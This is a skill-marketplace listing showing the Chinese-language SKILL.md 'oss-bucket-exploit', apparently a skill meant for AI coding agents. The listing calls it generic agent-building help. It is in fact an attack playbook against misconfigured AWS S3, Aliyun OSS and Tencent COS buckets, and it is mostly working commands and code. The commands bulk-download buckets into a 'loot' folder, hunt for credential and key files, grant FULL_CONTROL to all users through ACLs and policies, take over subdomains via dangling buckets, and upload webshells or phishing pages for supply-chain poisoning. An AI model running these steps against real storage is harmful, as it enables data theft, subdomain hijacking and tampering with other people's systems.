Now liveThe Skillselion MCP - thousands of ranked skills, loaded into your agent mid-task. No install.Get it →
wgpsec avatar

Oss Bucket Exploit

  • 24 installs
  • 1.6k repo stars
  • Updated July 19, 2026
  • wgpsec/aboutsecurity

Helps with ai & agent building tasks during AI-assisted development.

About

oss-bucket-exploit is a Claude Code skill for ai & agent building. It helps solo builders move faster with AI-assisted coding.

  • oss-bucket-exploit
  • AI & Agent Building
  • AI-coding skill

Oss Bucket Exploit by the numbers

  • 24 all-time installs (skills.sh)
  • +2 installs in the week ending Jul 27, 2026 (Skillselion tracking)
  • Ranked #9,876 of 16,546 AI & Agent Building skills by installs in the Skillselion catalog
  • Data as of Aug 5, 2026 (Skillselion catalog sync)
npx skills add https://github.com/wgpsec/aboutsecurity --skill oss-bucket-exploit

Add your badge

Show developers this skill is listed on Skillselion. Paste this into your README.

Listed on Skillselion
Installs24
repo stars1.6k
Last updatedJuly 19, 2026
Repositorywgpsec/aboutsecurity

What it does

Helps with ai & agent building tasks during AI-assisted development.

Files

SKILL.mdMarkdownGitHub ↗

对象存储 Bucket 误配利用方法论

对象存储是云上最常见的暴露面——Bucket 一旦配置公开读写,就等于把文件服务器直接暴露在互联网上。更危险的是 ACL 误配可以让攻击者接管整个 Bucket,进行钓鱼、供应链投毒、数据窃取。

⛔ 深入参考(必读)

  • 各云厂商 Bucket 攻击详细命令(AWS/阿里云/腾讯云)、ACL 利用 Payload、Policy 构造、coscli 使用 → references/bucket-attack-methods.md

---

Phase 1: 识别对象存储

线索云平台Bucket URL 格式
x-amz-* Header, Server: AmazonS3AWS S3BUCKET.s3.amazonaws.coms3.REGION.amazonaws.com/BUCKET
x-oss-* Header, .aliyuncs.com阿里云 OSSBUCKET.oss-cn-REGION.aliyuncs.com
x-cos-* Header, Server: tencent-cos, .myqcloud.com腾讯云 COSBUCKET-APPID.cos.REGION.myqcloud.com
x-obs-* Header, .myhuaweicloud.com华为云 OBSBUCKET.obs.REGION.myhuaweicloud.com
# 快速判断
curl -sI https://TARGET_URL | grep -iE 'x-amz|x-oss|x-cos|x-obs|AmazonS3|aliyuncs|myqcloud|tencent-cos'

腾讯云 COS 特征

腾讯云 COS 的 Bucket 名称格式为 BUCKET-APPID,其中 APPID 是用户唯一标识。

# Bucket 访问域名格式
<BucketName-APPID>.cos.<Region>.myqcloud.com

# 示例
mybucket-1250000000.cos.ap-guangzhou.myqcloud.com

# 全局 Bucket 列表(需认证)
GET Service HTTP/1.1
Host: cos.ap-guangzhou.myqcloud.com

---

Phase 2: 攻击决策树

发现对象存储?
├─ 1. 列出 Bucket 内容(公开读?)
│   ├─ 成功 → 搜索敏感文件(配置/备份/代码/凭据)
│   └─ 403 → 尝试 ACL 和 Policy 利用
├─ 2. 检查 ACL 误配(ACL 可读?ACL 可写?)
│   ├─ ACL 可写 → 修改 ACL 获取 FULL_CONTROL
│   └─ Object ACL 可写 → 修改单个 Object 权限
├─ 3. 检查 Bucket Policy 误配
│   ├─ Policy 可写 → 直接获取完整权限
│   └─ 条件绕过 → 利用 Policy 中的弱条件
├─ 4. 公开写入 → 上传 Webshell/钓鱼页面/供应链投毒
└─ 5. Bucket 接管(NoSuchBucket → 抢注同名 Bucket)

---

Phase 3: 公开读检测与敏感文件搜索

AWS S3

aws s3 ls s3://BUCKET_NAME --no-sign-request
aws s3 sync s3://BUCKET_NAME ./loot --no-sign-request

阿里云 OSS

curl -s "https://BUCKET.oss-cn-REGION.aliyuncs.com/?list-type=2"
ossutil ls oss://BUCKET --endpoint oss-cn-REGION.aliyuncs.com

腾讯云 COS(优先使用 coscli)

# 方式 1: coscli(推荐,功能最全)
coscli ls cos://BUCKET-APPID/ -r
coscli ls cos://BUCKET-APPID/ -r --include "*.env" --include "*.sql"

# 方式 2: Python SDK(tccli 不支持 GetService)
# pip install cos-python-sdk-v5
# from qcloud_cos import CosConfig, CosS3Client
# client = CosS3Client(CosConfig(Region='ap-guangzhou', SecretId='Sid', SecretKey='Skey'))
# print(client.list_buckets())

# 方式 3: curl 直接访问(无需认证)
curl -s "https://BUCKET-APPID.cos.ap-guangzhou.myqcloud.com/"
# 返回 XML 列表 → 公开读
# 返回 AccessDenied → 非公开

# 下载文件
coscli cp cos://BUCKET-APPID/path/to/file ./
coscli cp cos://BUCKET-APPID/ ./loot/ -r  # 批量下载

敏感文件搜索

# coscli 搜索
coscli ls cos://BUCKET-APPID/ -r --include "*.env"
coscli ls cos://BUCKET-APPID/ -r --include "*.sql"
coscli ls cos://BUCKET-APPID/ -r --include "*.bak"
coscli ls cos://BUCKET-APPID/ -r --include "*.pem"
coscli ls cos://BUCKET-APPID/ -r --include "config*"

敏感文件关键词:backup, .sql, .env, config, credential, password, .pem, .key, flag

---

Phase 4: ACL 误配利用

AWS S3 ACL

aws s3api get-bucket-acl --bucket BUCKET_NAME --no-sign-request

腾讯云 COS ACL

# 查看 Bucket ACL(coscli)
coscli get-bucket-acl cos://BUCKET-APPID

# 查看 Bucket ACL(curl)
curl -s "https://BUCKET-APPID.cos.ap-guangzhou.myqcloud.com/?acl"

# 如果 ACL 中包含 AllUsers 或匿名访问 → 可进一步利用

腾讯云 COS ACL 修改(需要写权限)

# coscli 设置 ACL
coscli put-bucket-acl cos://BUCKET-APPID --grant-full-control anyone

# 或通过 curl PUT ACL
cat > acl.xml << 'EOF'
<AccessControlPolicy>
  <Owner>
    <ID>qcs::cam::uin/OWNER_UIN:uin/OWNER_UIN</ID>
  </Owner>
  <AccessControlList>
    <Grant>
      <Grantee xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="Group">
        <URI>http://cam.qcloud.com/groups/global/AllUsers</URI>
      </Grantee>
      <Permission>FULL_CONTROL</Permission>
    </Grant>
  </AccessControlList>
</AccessControlPolicy>
EOF

curl -X PUT "https://BUCKET-APPID.cos.ap-guangzhou.myqcloud.com/?acl" \
  -H "Content-Type: application/xml" \
  -d @acl.xml

→ ACL 修改和 Policy 利用详细命令 → references/bucket-attack-methods.md

---

Phase 5: Bucket 接管

当访问子域名显示 NoSuchBucketBucketNotFound 等错误时,原始 Bucket 已被删除但 DNS CNAME 仍指向它。

AWS S3

dig +short target-subdomain.example.com
# 返回 xxx.s3.amazonaws.com → 可能可接管
aws s3 mb s3://target-subdomain.example.com

腾讯云 COS

# 确认 CNAME
dig +short target-subdomain.example.com
# 返回 *.cos.*.myqcloud.com → 可能可接管

# 如果返回 NoSuchBucket 错误
curl -s "https://BUCKET-APPID.cos.ap-guangzhou.myqcloud.com/" | grep -i "nosuchbucket"

# 在自己账号下创建同名 Bucket
coscli mb cos://BUCKET-APPID -e cos.ap-guangzhou.myqcloud.com

# 或使用 tccli(需要 SDK 辅助创建 COS 桶)
# tccli 没有直接的 create-bucket 命令,需要用 coscli 或 Python SDK

Python SDK 创建 COS Bucket

from qcloud_cos import CosConfig, CosS3Client

secret_id = 'SecretId'
secret_key = 'SecretKey'
region = 'ap-guangzhou'
config = CosConfig(Region=region, SecretId=secret_id, SecretKey=secret_key)
client = CosS3Client(config)

# 创建同名 Bucket 接管子域名
response = client.create_bucket(Bucket='target-bucket-1250000000')
print(response)

---

Phase 6: 任意文件上传利用

如果 Bucket 配置了公开写入:

AWS S3

aws s3 cp malicious.html s3://BUCKET_NAME/ --no-sign-request

腾讯云 COS

# coscli 上传
coscli cp malicious.html cos://BUCKET-APPID/

# curl PUT 上传(无需认证)
curl -X PUT "https://BUCKET-APPID.cos.ap-guangzhou.myqcloud.com/test.html" \
  -d '<html><body><h1>COS Writable</h1></body></html>'

# 如果 Bucket 支持 HTML 解析 → XSS/钓鱼
# 如果是静态网站托管 → 挂黑页/暗链
# 如果是应用资源 CDN → 供应链投毒

---

腾讯云 COS 特有工具

coscli(腾讯云 COS 专用 CLI)

# 安装(根据系统架构选择对应版本)
# Linux amd64
wget https://cosbrowser.cloud.tencent.com/software/coscli/coscli-linux-amd64
mv coscli-linux-amd64 /usr/local/bin/coscli && chmod +x /usr/local/bin/coscli
# Linux arm64 → coscli-linux-arm64
# macOS arm64 (M1/M2) → coscli-darwin-arm64
# macOS amd64 (Intel) → coscli-darwin-amd64

# 配置(交互式,生成 ~/.cos.yaml)
coscli config init
# 按提示输入: SecretId, SecretKey, SessionToken(临时凭据时), APPID, Bucket-Region

# 常用命令
coscli ls                           # 列出所有桶
coscli ls cos://BUCKET-APPID/ -r    # 递归列出桶内容
coscli cp local.txt cos://BUCKET-APPID/remote.txt   # 上传
coscli cp cos://BUCKET-APPID/remote.txt ./           # 下载
coscli rm cos://BUCKET-APPID/file.txt               # 删除
coscli presign cos://BUCKET-APPID/file.txt           # 生成预签名URL
coscli get-bucket-acl cos://BUCKET-APPID             # 查看ACL
coscli put-bucket-acl cos://BUCKET-APPID --grant-read anyone  # 设置ACL

Python SDK (cos-python-sdk-v5)

当 coscli 或 tccli 无法实现特定操作时使用。

pip install cos-python-sdk-v5
from qcloud_cos import CosConfig, CosS3Client
import json

secret_id = 'SecretId'
secret_key = 'SecretKey'
region = 'ap-guangzhou'
token = None  # 临时凭据时填入 Token

config = CosConfig(Region=region, SecretId=secret_id, SecretKey=secret_key, Token=token)
client = CosS3Client(config)

# 列出所有桶
response = client.list_buckets()

# 列出桶内对象
response = client.list_objects(Bucket='bucket-1250000000')

# 获取 Bucket ACL
response = client.get_bucket_acl(Bucket='bucket-1250000000')

# 获取 Bucket Policy
response = client.get_bucket_policy(Bucket='bucket-1250000000')

# 获取 Bucket CORS
response = client.get_bucket_cors(Bucket='bucket-1250000000')

# 获取 Bucket 加密配置
response = client.get_bucket_encryption(Bucket='bucket-1250000000')

# 获取 Bucket 日志配置
response = client.get_bucket_logging(Bucket='bucket-1250000000')

# 下载文件
response = client.get_object(Bucket='bucket-1250000000', Key='secret.txt')

# 上传文件
response = client.put_object(Bucket='bucket-1250000000', Key='test.html', Body=b'<html>test</html>')

# 设置 Bucket ACL(公开读)
response = client.put_bucket_acl(Bucket='bucket-1250000000', ACL='public-read')

# 设置 Bucket Policy
policy = {
    "version": "2.0",
    "statement": [{
        "effect": "allow",
        "principal": {"qcs": ["qcs::cam::anyone:anyone"]},
        "action": ["name/cos:*"],
        "resource": [
            "qcs::cos:ap-guangzhou:uid/1250000000:bucket-1250000000/*",
            "qcs::cos:ap-guangzhou:uid/1250000000:bucket-1250000000"
        ]
    }]
}
response = client.put_bucket_policy(Bucket='bucket-1250000000', Policy=json.dumps(policy))

注意事项

  • 对象存储误配非常常见,尤其是开发/测试环境
  • Bucket 名称全局唯一(AWS/阿里云/腾讯云等),知道名称就可以尝试访问
  • 修改 ACL/Policy 会产生操作日志(CloudTrail/ActionTrail/CloudAudit)
  • 部分云厂商默认屏蔽了公开列出操作,但单个 Object 仍可能可访问
  • 腾讯云 COS Bucket 名必须带 APPID 后缀(如 bucket-1250000000
  • coscli 是腾讯云 COS 的专用工具,功能比 tccli cos 更全
  • tccli 对 COS 支持有限(主要是 GetService 列出桶),具体操作优先用 coscli 或 SDK

Related skills

This week in AI coding

Five minutes, every Monday - the tools, releases and tactics for developers.

unsubscribe anytime.